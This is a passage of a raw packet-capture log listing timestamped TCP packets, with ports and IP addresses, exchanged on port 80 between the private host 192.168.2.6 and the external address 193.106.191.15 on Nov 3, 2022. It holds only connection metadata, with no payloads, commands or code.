Nov 3, 2022 12:46:54.999438047 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.999496937 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.999538898 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.999555111 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.999614000 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.999653101 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.999671936 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.999732971 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.999772072 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.999792099 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.999855042 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.999895096 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:54.999913931 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:54.999974966 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.000016928 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.000030994 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.000089884 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.000130892 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.000148058 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.000199080 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.000236988 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.000241995 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.000292063 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.000324965 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.000329018 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.000370979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.000406981 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.000410080 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.000446081 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.000482082 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.000483036 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.000521898 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.000559092 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.000587940 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.000597954 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.000637054 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.000637054 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.000677109 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.000711918 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.000714064 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.000752926 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.000791073 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.000792027 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.000828981 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.000866890 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.000869036 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.000905037 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.000961065 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.000968933 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.001008034 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.001045942 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.001060963 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.001082897 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.001120090 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.001120090 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.001158953 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.001192093 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.001194954 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.001233101 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.001271009 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.001272917 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.001311064 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.001348019 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.001357079 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.001385927 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.001425028 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.001435995 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.001477003 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.001521111 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.001528025 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.001585007 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.001631975 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.001637936 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.001697063 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.001750946 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.001808882 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.001861095 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.001919031 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.001971006 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.002027035 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.002080917 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.002139091 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.002197981 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.002253056 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.002269983 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.002269983 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.002269983 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.002269983 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.002269983 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.002309084 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.002307892 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.002362967 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.002403975 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.002413988 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.002473116 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.002526999 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.002528906 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.002595901 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.002644062 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.002651930 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.002700090 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.002737999 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.002737999 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.002773046 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.002810001 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.002813101 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.002845049 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.002924919 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.002947092 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.002969980 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.003024101 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.003057957 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.003070116 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.003106117 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.003112078 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.003144026 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.003177881 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.003180027 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.003213882 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.003247976 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.003249884 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.003283978 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.003319025 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.003339052 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.003353119 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.003388882 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.003396988 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.003426075 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.003459930 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.003463984 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.003496885 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.003531933 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.003539085 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.003566027 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.003601074 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.003606081 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.003637075 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.003673077 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.003673077 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.003709078 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.003742933 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.003761053 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.003777981 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.003813982 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.003819942 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.003848076 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.003885984 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.054567099 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.055032015 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.061542988 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.061583042 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.061605930 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.061628103 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.061655998 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.061676025 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.061697006 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.061721087 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.061723948 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.061741114 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.061760902 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.061780930 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.061790943 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.061805010 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.061827898 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.061847925 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.061849117 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.061868906 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.061868906 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.061892033 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.061892986 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.061913013 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.061933041 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.061935902 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.061953068 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.061969042 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.061971903 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.061991930 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062000036 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062012911 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062033892 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062033892 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062055111 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062057972 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062074900 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062087059 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062094927 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062108994 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062114000 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062134027 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062134981 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062155008 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062158108 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062175989 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062201023 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062218904 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062238932 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062248945 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062263966 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062278032 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062297106 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062308073 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062323093 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062335968 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062346935 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062356949 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062376976 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062377930 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062390089 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062397957 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062417984 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062417984 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062438011 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062441111 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062458038 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062459946 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062478065 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062482119 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062499046 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062499046 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062519073 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062520981 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062539101 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062540054 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062558889 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062561989 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062578917 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062583923 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062598944 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062603951 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062618971 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062624931 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062639952 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062647104 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062659979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062664032 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062680006 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062688112 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062700033 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062704086 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062720060 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062726021 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062740088 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062747002 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062760115 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062767029 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062779903 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062788010 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062802076 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062814951 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062824011 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062838078 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062844992 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062855959 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062865973 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062897921 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062907934 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062910080 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062925100 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062928915 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062952042 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062956095 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062971115 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.062987089 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.062998056 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063011885 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063033104 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063051939 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063052893 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063083887 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063092947 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063117027 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063118935 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063138962 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063144922 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063158035 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063170910 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063178062 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063196898 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063216925 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063224077 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063245058 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063251019 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063265085 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063277960 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063287020 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063303947 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063325882 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063330889 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063352108 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063357115 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063378096 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063383102 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063397884 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063409090 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063422918 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063435078 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063450098 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063462019 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063472986 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063488007 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063512087 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063513994 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063539982 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063544035 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063564062 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063565969 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063584089 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063591957 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063611984 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063618898 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063626051 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063644886 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063666105 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063672066 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063698053 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063702106 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063721895 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063723087 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063745022 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063750029 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063764095 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063775063 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063793898 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063802958 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063817024 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063829899 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063853025 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063855886 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063883066 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063884020 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063905954 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063909054 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063929081 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063935995 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063945055 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063961983 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.063982964 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.063987970 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064009905 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064014912 CET	80	49704	193.106.191.15	192.168.2.6
